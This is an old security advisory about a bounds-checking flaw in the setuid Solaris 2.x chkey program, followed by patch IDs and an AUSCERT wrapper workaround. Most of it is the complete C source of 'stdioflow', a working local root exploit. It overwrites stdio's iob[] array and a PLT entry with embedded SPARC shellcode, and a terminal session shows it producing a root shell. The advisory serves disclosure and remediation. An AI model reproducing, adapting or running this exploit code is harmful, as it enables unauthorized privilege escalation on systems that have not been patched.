COMMAND

    /usr/bin/chkey

SYSTEMS AFFECTED

    All platforms with Solaris 2.x

PROBLEM

    chkey is used to change a user's secure RPC public key and  secret
    key  pair.   Due  to  insufficient  bounds  checking  on arguments
    passed  to  the  chkey  program,  it  is possible to overwrite the
    internal data  space of  this program  while it  is executing.  As
    chkey has  setuid root  permissions, this  vulnerability may allow
    local users to  gain root privileges.   Local users may  gain root
    privileges.

    Almost  any  program  that  uses  stdio(3S)  has  iob[]  after any
    variables  declared  in  the  program.   Thus,  this is really the
    cookie cutter data buffer overrun -- it only takes more brains  to
    use.  A  classical example of  this hole is  in chkey(1).   Credit
    goes to Adam Morrison.

        10:47  [wumpus:~] % stdioflow
        usage: stdioflow [options] buf(name or @address) libaddr program args
        options: [-l library] [-f function] [-o offset] [-e env]
        10:47  [wumpus:~] % stdioflow -o 7 program_name 0xef640000 \
                /usr/bin/chkey %s -s woop
        Using library /usr/lib/libc.so at 0xef640000
        Using PLT at 0x8ef70
        Found _exithandle at 0x1be4
        Buffer at 0x24e88
        iob[] at 0x24f90
        Using absolute address 0xef6d0b4d
        Using 264 bytes
        # /usr/ucb/whoami
        root

    And source for stfioflow follows:

    /*
     * stdioflow -- exploit for data overrun conditions
     * adam@math.tau.ac.il (Adam Morrison)
     *
     * This program causes programs which use stdio(3S) and have data buffer
     * overflow conditions to overwrite stdio's iob[] array of FILE structures
     * with malicious, buffered FILEs.  Thus it is possible to get stdio to
     * overwrite arbitrary places in memory; specifically, it overwrites a
     * specific procedure linkage table entry with SPARC assembly code to
     * execute a shell.
     *
     * Using this program involves several steps.
     *
     * First, find a code path which leads to the use of stdout or stderr after
     * the buffer has been overwritten.  The default case being
     *
     *      strcpy(buffer, argv[0]);
     *      / we gave it wrong arguments /
     *      fprintf(stderr, "usage: %s ...\n", buffer);
     *      exit(1);
     *
     * In this case you need to overwrite exit()'s PLT entry.
     *
     * Second, find out the address that the library that contains the PLT
     * you want to overwrite (in this case, it would be libc) gets mmapped()
     * to in the process' address space.  You need it to calculate the
     * absolute of the PLT entry.  (Doing this is left as an, uh, exercise
     * to the reader.)
     *
     * Finally, calculate the offset to take from the PLT entry -- you don't
     * want ``usage: '' in the table, but the instructions in ``%s''.  In this
     * case, it would be 7.
     *
     * Then run it.
     */
    #include <stdio.h>
    #include <fcntl.h>
    #include <string.h>
    #include <libelf.h>

    #include <sys/types.h>
    #include <sys/link.h>

    #define PLT_SYMBOL "_PROCEDURE_LINKAGE_TABLE_"

    u_int shellcode[] = {
      0x821020ca,
      0xa61cc013,
      0x900cc013,
      0x920cc013,
      0xa604e001,
      0x91d02008,
      0x2d0bd89a,
      0xac15a16e,
      0x2f0bdcda,
      0x900b800e,
      0x9203a008,
      0x941a800a,
      0x9c03a010,
      0xec3bbff0,
      0xdc23bff8,
      0xc023bffc,
      0x8210203b,
      0x91d02008,
    };
    int shell_len = sizeof (shellcode) / sizeof (u_long);
    u_long meow = 0x6d656f77;
    char *prog;

    void elferr(void);
    u_long symval(char *, char *);
    u_long plt_offset(char *, char *);

    void
    usage()
    {
            fprintf(stderr, "usage: %s [options] buf(name or @address) libaddr program args\n", prog);
            fprintf(stderr, "options: [-l library] [-f function] [-o offset] [-e env]\n");
            exit(1);
    }

    main(int argc, char **argv)
    {
            char *env = NULL;
            char *library = "/usr/lib/libc.so";
            char *function = "_exithandle";
            u_long off, uoff = 0;
            u_long libaddr, pltaddr, bufaddr, iobaddr;
            u_long pltent;
            char *prognam, *bufnam;
            int buflen;
            char *badbuf;
            u_long *bp;
            int c;
            extern char *optarg;
            extern int optind;
            char **arg0, **arg;

            prog = strrchr(argv[0], '/');
            if (prog)
              ++prog;
            else
              prog = argv[0];

            while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF)
              switch (c) {
              case 'l':
                library = optarg;
                break;
              case 'f':
                function = optarg;
                break;
              case 'o':
                uoff = strtol(optarg, (char **)0, 0);
                break;
              case 'e':
                env = optarg;
                break;
              default:
                usage();
              }

            if (argc - optind < 3)
              usage();

            bufnam = argv[optind];

            /*
             * This is the address that the library in which `function'
             * lives gets mapped to in the child address space.  We could force
             * a non-privileged copy of `prognam' to dump core, and fish
             * out the memory mappings from the resulting core file; but this
             * is really something users should be able to do themselves.
             */
            libaddr = strtoul(argv[optind+1], (char **)0, 0);
            if (libaddr == 0) {
              fprintf(stderr, "%s: impossible library virtual address: %s\n",
                      prog, argv[optind+1]);
              exit(1);
            }
            printf("Using library %s at 0x%p\n", library, libaddr);

            prognam = argv[optind+2];

            arg0 = &argv[optind+3];

            /*
             * `pltaddr' is the offset at which the library's PLT will be
             * at from `libaddr'.
             */
            pltaddr = symval(library, PLT_SYMBOL);
            if (pltaddr == 0) {
              fprintf(stderr, "%s: could not find PLT offset from library\n",
                      prog);
              exit(1);
            }
            printf("Using PLT at 0x%p\n", pltaddr);

            /*
             * `off' is the offset from `pltaddr' in which the desired
             * function's PLT entry is.
             */
            off = plt_offset(library, function);
            if (off == 0) {
              fprintf(stderr, "%s: impossible offset from PLT returned\n", prog);
              exit(1);
            }
            printf("Found %s at 0x%p\n", function, off);

            /*
             * `bufaddr' is the name (or address) of the buffer we want to
             * overflow.  It's not a stack buffer, so finding it out is trivial.
             */
            if (bufnam[0] == '@')
              bufaddr = strtol(&bufnam[1], (char **)0, 0);
            else
              bufaddr = symval(prognam, bufnam);

            if (bufaddr == 0) {
              fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam);
              exit(1);
            }
            printf("Buffer at 0x%p\n", bufaddr);

            /*
             * `iobaddr' is obviously the address of the stdio(3) array.
             */
            iobaddr = symval(prognam, "__iob");
            if (iobaddr == 0) {
              fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam);
              exit(1);
            }
            printf("iob[] at 0x%p\n", iobaddr);

            /*
             * This is the absolute address of the PLT entry we want to
             * overwrite.
             */
            pltent = libaddr + pltaddr + off;

            buflen = iobaddr - bufaddr;
            if (buflen < shell_len) {
              fprintf(stderr, "%s: not enough space for shell code\n", prog);
              exit(1);
            }
            if (env) {
              buflen += strlen(env) + 5;
              if (buflen & 3) {
                fprintf(stderr, "%s: alignment problem\n", prog);
                exit(1);
              }
            }
            badbuf = (char *)malloc(buflen);
            if (badbuf == 0) {
              fprintf(stderr, "%s: out of memory\n", prog);
              exit(1);
            }

            if (env) {
              buflen -= (strlen(env) + 5);
              sprintf(badbuf, "%s=", env);

              bp = (u_long *)&badbuf[strlen(badbuf)];
            } else
              bp = (u_long *)badbuf;

            buflen /= sizeof (*bp);
            for (c = 0; c < shell_len; c++)
              *bp++ = shellcode[c];

            for (; c < buflen; c++)
              *bp++ = meow;

            /*
             * stdin -- whatever
             */
            *bp++ = -29;
            *bp++ = 0xef7d7310;
            *bp++ = 0xef7d7310 - 29;
            *bp++ = 0x0101ffff;

            /*
             * stdout
             */
            *bp++ = -29;
            *bp++ = pltent - uoff;
            *bp++ = pltent - 29;
            *bp++ = 0x0201ffff;

            /*
             * stderr
             */
            *bp++ = -29;
            *bp++ = pltent - uoff;
            *bp++ = pltent - 29;
            *bp++ = 0x0202ffff;

            *bp++ = 0;

            printf("Using absolute address 0x%p\n", pltent - uoff);

            /*
             * Almost ready to do the exec()
             */
            if (env)
              putenv(badbuf);
            else
              for (arg = arg0; arg && *arg; arg++) {
                if (strcmp(*arg, "%s") == 0)
                  *arg = badbuf;
              }

            printf("Using %d bytes\n", buflen*4);

            if (execv(prognam, arg0) < 0) {
              perror("execv");
              exit(1);
            }

    }

    u_long
    symval(char *lib, char *name)
    {
            int fd;
            int i, nsym;
            u_long addr = 0;
            Elf32_Shdr *shdr;
            Elf *elf;
            Elf_Scn *scn = (Elf_Scn *)0;
            Elf32_Ehdr *ehdr;
            Elf_Data *dp;
            Elf32_Sym *symbol;
            char *np;

            fd = open(lib, O_RDONLY);
            if (fd < 0) {
              perror("open");
              exit(1);
            }

            /* Initializations, see elf(3E) */
            (void) elf_version(EV_CURRENT);
            elf = elf_begin(fd, ELF_C_READ, 0);
            if (elf == (Elf *)0)
              elferr();

            ehdr = elf32_getehdr(elf);
            if (ehdr == (Elf32_Ehdr*)0)
              elferr();

            /*
             * Loop through sections looking for the dynamic symbol table.
             */
            while ((scn = elf_nextscn(elf, scn))) {

              shdr = elf32_getshdr(scn);
              if (shdr == (Elf32_Shdr *)0)
                elferr();

              if (shdr->sh_type == SHT_DYNSYM)
                  break;
            }

            if (scn == (Elf_Scn *)0) {
              fprintf(stderr, "%s: dynamic symbol table not found\n", prog);
              exit(1);
            }

            dp = elf_getdata(scn, (Elf_Data *)0);
            if (dp == (Elf_Data *)0)
              elferr();

            if (dp->d_size == 0) {
              fprintf(stderr, "%s: .dynamic symbol table empty\n", prog);
              exit(1);
            }

            symbol = (Elf32_Sym *)dp->d_buf;
            nsym = dp->d_size / sizeof (*symbol);

            for (i = 0; i < nsym; i++) {
              np = elf_strptr(elf, shdr->sh_link, (size_t)
                              symbol[i].st_name);
              if (np && !strcmp(np, name))
                break;

            }

            if (i < nsym)
              addr = symbol[i].st_value;

            (void) elf_end(elf);
            (void) close(fd);

            return (addr);
    }

    u_long
    plt_offset(char *lib, char *func)
    {
            int fd;
            Elf *elf;
            Elf_Scn *scn = (Elf_Scn *)0;
            Elf_Data *dp;
            Elf32_Ehdr *ehdr;
            Elf32_Rela *relocp = (Elf32_Rela *)0;
            Elf32_Word pltsz = 0;
            Elf32_Shdr *shdr;
            Elf_Scn *symtab;
            Elf32_Sym *symbols;
            char *np;
            u_long offset = 0;
            u_long plt;

            fd = open(lib, O_RDONLY);
            if (fd < 0) {
              perror("open");
              exit(1);
            }

            /* Initializations, see elf(3E) */
            (void) elf_version(EV_CURRENT);
            elf = elf_begin(fd, ELF_C_READ, 0);
            if (elf == (Elf *)0)
              elferr();

            ehdr = elf32_getehdr(elf);
            if (ehdr == (Elf32_Ehdr *)0)
              elferr();

            /*
             * Loop through sections looking for the relocation entries
             * associated with the procedure linkage table.
             */
            while ((scn = elf_nextscn(elf, scn))) {

              shdr = elf32_getshdr(scn);
              if (shdr == (Elf32_Shdr *)0)
                elferr();

              if (shdr->sh_type == SHT_RELA) {
                np = elf_strptr(elf, ehdr->e_shstrndx, (size_t) shdr->sh_name);
                if (np && !strcmp(np, ".rela.plt"))
                  break;
              }

            }

            if (scn == (Elf_Scn *)0) {
              fprintf(stderr, "%s: .rela.plt section not found\n", prog);
              exit(1);
            }

            dp = elf_getdata(scn, (Elf_Data *)0);
            if (dp == (Elf_Data *)0)
              elferr();

            if (dp->d_size == 0) {
              fprintf(stderr, "%s: .rela.plt section empty\n", prog);
              exit(1);
            }

            /*
             * The .rela.plt section contains an array of relocation entries,
             * the first 4 are not used.
             */
            relocp = (Elf32_Rela *)dp->d_buf;
            pltsz = dp->d_size / sizeof (*relocp);

            relocp += 4;
            pltsz -= 4;

            /*
             * Find the symbol table associated with this section.
             */
            symtab = elf_getscn(elf, shdr->sh_link);
            if (symtab == (Elf_Scn *)0)
              elferr();

            shdr = elf32_getshdr(symtab);
            if (shdr == (Elf32_Shdr *)0)
              elferr();

            dp = elf_getdata(symtab, (Elf_Data *)0);
            if (dp == (Elf_Data *)0)
              elferr();

            if (dp->d_size == 0) {
              fprintf(stderr, "%s: dynamic symbol table empty\n", prog);
              exit(1);
            }

            symbols = (Elf32_Sym *)dp->d_buf;

            /*
             * Loop through the relocation list, looking for the desired
             * symbol.
             */
            while (pltsz-- > 0) {
              Elf32_Word ndx = ELF32_R_SYM(relocp->r_info);

              np = elf_strptr(elf, shdr->sh_link, (size_t)
                              symbols[ndx].st_name);
              if (np && !strcmp(np, func))
                break;

              relocp++;
            }

            if (relocp) {
              plt = symval(lib, PLT_SYMBOL);
              offset = relocp->r_offset - plt;
            }

            (void) elf_end(elf);
            (void) close(fd);

            return (offset);
    }

    void
    elferr()
    {
            fprintf(stderr, "%s: %s\n", prog, elf_errmsg(elf_errno()));

            exit(1);
    }

SOLUTION

    The vulnerability in chkey is fixed by the following patches:

        OS version           Patch ID
        ----------           --------
        SunOS 5.5.1          104968-01
        SunOS 5.5.1_x86      104969-01
        SunOS 5.5            104971-01
        SunOS 5.5_x86        104972-01
        SunOS 5.4            104973-01
        SunOS 5.4_x86        104974-01
        SunOS 5.3            101318-89


    If  you're  lame,  you  should  remove setuid and non-root execute
    permissions.

        # chmod 500 /usr/bin/chkey

    For those  sites which  require the  chkey functionality,  AUSCERT
    recommends applying following workaround given in Section 3.2.  of
    their advisory.

    You can install wrapper.  AUSCERT has developed a wrapper to  help
    prevent  programs  from  being  exploited  using the vulnerability
    described here.  For sites without a C compiler, AUSCERT has  made
    pre-compiled binaries available for Solaris 2.4, 2.5 and 2.5.1.

    The source for  the wrapper, including  installation instructions,
    can be obtained from:

        ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

    The pre-compiled binaries for the wrapper program can be retrieved
    from:

        ftp://ftp.auscert.org.au/pub/auscert/tools/AA-97.18-chkey_wrapper.tar.Z